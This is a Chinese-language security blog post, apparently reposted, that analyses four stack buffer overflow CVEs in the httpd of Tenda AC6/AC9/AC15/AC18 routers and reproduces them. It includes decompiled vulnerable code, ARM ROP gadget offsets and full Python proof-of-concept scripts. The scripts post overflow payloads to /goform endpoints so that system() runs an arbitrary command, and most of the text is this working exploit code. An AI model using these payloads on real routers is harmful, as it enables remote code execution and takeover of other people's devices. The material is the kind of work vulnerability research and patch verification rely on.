Tenda路由器CVE:四个缓冲区溢出漏洞分析复现
2021-03-15 16:32:55 Author: xz.aliyun.com(查看原文) 阅读量:371 收藏

前言

CVE-2020-13394 An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multiTD01, and AC18 V15.03.05.19(6318)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/SetNetControlList list parameter for a POST request, a value is directly used in a strcpy to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks.
CVE-2020-13392 An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multiTD01, and AC18 V15.03.05.19(6318)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/setcfm funcpara1 parameter for a POST request, a value is directly used in a sprintf to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks.
CVE-2020-13391 An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multiTD01, and AC18 V15.03.05.19(6318)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/SetSpeedWan speed_dir parameter for a POST request, a value is directly used in a sprintf to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks.
CVE-2020-13390 An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multiTD01, and AC18 V15.03.05.19(6318)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/addressNat entrys and mitInterface parameters for a POST request, a value is directly used in a sprintf to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks.

这4个TendaCVE都是同一个程序的缓冲区溢出漏洞,本文是基于US_AC15V1.0BR_V15.03.05.19_multi_TD01固件版本进行分析复现的。

固件可在github下载:https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333

通用的gadget

╰─➤  ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}   #gadget1
╰─➤  ROPgadget --binary ./lib/libc.so.0  | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3    #gadget2

利用过程:

  1. 溢出后跳到第一个gadget1,控制r3寄存器为system函数地址,第一个pc控制为gadget2
  2. 跳转到gadget2后,控制r0为要执行的命令即可
  3. 执行system(cmd)

qemu用户级调试启动

安装qemu-user-static

sudo apt install qemu-user-static

安装完成后将qemu-arm-static赋值到文件系统目录squashfs-root下,启动httpd服务

cp $(which qemu-arm-static) ./qemu
sudo chroot ./ ./qemu ./bin/httpd

CVE-2020-13394

漏洞的成因是web服务在处理post请求时,对list参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到formSetQosBand函数。

//formSetQosBand
list = (char *)sub_2BA8C(a1, (int)"list", (int)&unk_E250C);
sub_7DD20(list, (int)"bandwidth.mode", 0xAu);

int __fastcall sub_7DD20(char *list, int a2, unsigned __int8 a3)
{
  char dest; // [sp+5CCh] [bp-260h]
  char *src; // [sp+81Ch] [bp-10h]
  list_1 = list;
  c = a3;
  memset(&s, 0, 0x40u);
  memset(&dest, 0, 0x100u);
  sub_7DB3C(v4);
  src = list_1;
  while ( 1 )
  {
    v58 = strchr(src, c);
    if ( !v58 )
      break;
    v59 = 0;
    *v58++ = 0;
    memset(&dest, 0, 0x100u);
    strcpy(&dest, src);

程序直接将list参数使用strcpy函数复制到栈变量dest中,容易造成栈溢出。

在qemu用户级调试中能看到调用了system(cmd)就能说明成功完成漏洞利用了。
poc如下:

import requests
from pwn import *

cmd="echo hello"

'''
qemu-user
'''
libc_base = 0xf659c000

'''
qemu-system
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0
'''

system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298

payload = 'a'*0x260
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd


url = "http://192.168.198.140/goform/SetNetControlList"
cookie = {"Cookie":"password=12345"}
data = {"list": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

CVE-2020-13392

漏洞的成因是web服务在处理post请求时,对funcpara1参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到formSetCfm函数。

//formSetCfm
  v17 = (char *)sub_2BA8C(v2, (int)"funcname", (int)&unk_DFA30);
  if ( *v17 )
  {
    if ( !strcmp(v17, "save_list_data") )
    {
      funcpara1 = sub_2BA8C(v2, (int)"funcpara1", (int)&unk_DFA30);
      funcpara2 = (char *)sub_2BA8C(v2, (int)"funcpara2", (int)&unk_DFA30);
      sub_4EC58((int)funcpara1, funcpara2, '~');
    }
  }

  //sub_4EC58
  char s; // [sp+11Ch] [bp-58h]
  char *v10; // [sp+15Ch] [bp-18h]
  int v11; // [sp+160h] [bp-14h]
  char *v12; // [sp+164h] [bp-10h]

  memset(&s, 0, 0x40u);
  sprintf(&s, "%s.listnum", v6);
  SetValue(&s, "0");
  memset(&s, 0, 0x40u);
  memset(&v8, 0, 0x100u);
  sprintf(&s, "%s.list%d", v6, ++v11);
  result = GetValue((int)&s, (int)&v8);

在当解析到存在参数funcname为save_list_data时,就会解析提交的表单中的funcpara1参数,在sub_4EC58函数中使用sprintf函数直接将该参数复制到栈缓冲区中。并且因为参数funcpara1后面会接上.list字符串,因此在指定命令后面需要添加分号;

payload如下:

payload = 'a'*0x58
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';'

url = "http://192.168.198.140/goform/setcfm"
cookie = {"Cookie":"password=12345"}
data = {"funcname": 'save_list_data','funcpara1':payload}

CVE-2020-13391

漏洞的成因是web服务在处理post请求时,对speed_dir参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到formSetSpeedWan函数。

//formSetSpeedWan
  char s[32]; // [sp+30h] [bp-3Ch]
  void *v12; // [sp+50h] [bp-1Ch]
  char *v13; // [sp+54h] [bp-18h]
  char *speed_dir; // [sp+58h] [bp-14h]
  int v15; // [sp+5Ch] [bp-10h]

  speed_dir = sub_2BA8C(a1, "speed_dir", "0");
  v13 = sub_2BA8C(v2, "ucloud_enable", "0");
  v12 = sub_2BA8C(v2, "password", "0");
  GetValue("speedtest.flag", &nptr);

  sprintf(s, "{\"errCode\":%d,\"speed_dir\":%s}", v15, speed_dir);

解析speed_dir参数后,使用sprintf函数,将speed_dir与{"errCode":0,"speed_dir":%s}格式化字符串拼接起来赋值给栈变量。用户可控的空间在栈变量s偏移为25以后,而溢出偏移为0x3c,需要填充的字符数为35。

payload如下:

payload = 'a'*35
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';'

url = "http://192.168.198.140/goform/SetSpeedWan"
cookie = {"Cookie":"password=12345"}
data = {'speed_dir':payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

CVE-2020-13390

漏洞的成因是web服务在处理post请求时,对entrys和mitInterface参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到fromAddressNat函数。

//fromAddressNat
  char s; // [sp+114h] [bp-318h]
  char v7; // [sp+314h] [bp-118h]
  void *v8; // [sp+414h] [bp-18h]
  void *v9; // [sp+418h] [bp-14h]
  void *v10; // [sp+41Ch] [bp-10h]

  v4 = a1;
  memset(&v5, 0, 0x100u);
  entrys = sub_2BA8C(v4, "entrys", &unk_E5D48);
  mitInterface = sub_2BA8C(v4, "mitInterface", &unk_E5D48);
  sprintf(&s, "%s;%s", entrys, mitInterface);

程序解析entrys和mitInterface参数后直接使用sprintf函数赋值到栈变量s中,容易造成栈溢出。

payload如下:

padding = 'b'*(0x318-1)
payload = ''
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = "http://192.168.198.140/goform/addressNat"
cookie = {"Cookie":"password=12345"}
data = {'entrys':padding, 'mitInterface':payload}

总结

汇总一下以上4个CVE的对应的qemu用户级调试的poc

import requests
from pwn import *

cmd="echo hello"

'''
qemu-user
'''
libc_base = 0xf659c000

'''
qemu-system
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0
'''

system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298


padding = 'b'*(0x318-1)
payload = ''
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = "http://192.168.198.140/goform/addressNat"
cookie = {"Cookie":"password=12345"}
data = {'entrys':padding, 'mitInterface':payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

'''
# CVE-2020-13394

payload = 'a'*0x260
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = "http://192.168.198.140/goform/SetNetControlList"
cookie = {"Cookie":"password=12345"}
data = {"list": payload}


# CVE-2020-13392
payload = 'a'*0x58
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';'

url = "http://192.168.198.140/goform/setcfm"
cookie = {"Cookie":"password=12345"}
data = {"funcname": 'save_list_data','funcpara1':payload}


# CVE-2020-13391
payload = 'a'*35
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';'

url = "http://192.168.198.140/goform/SetSpeedWan"
cookie = {"Cookie":"password=12345"}
data = {'speed_dir':payload}


# CVE-2020-13390
padding = 'b'*(0x318-1)
payload = ''
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = "http://192.168.198.140/goform/addressNat"
cookie = {"Cookie":"password=12345"}
data = {'entrys':padding, 'mitInterface':payload}

'''

另外提一下CVE-2020-13393和CVE-2020-13389,在CVE描述中,漏洞成因都是栈溢出,但是经过分析,它们其实是堆溢出,不能直接套poc的模板覆盖返回返回地址。


文章来源: http://xz.aliyun.com/t/9270
如有侵权请联系:admin#unsafe.sh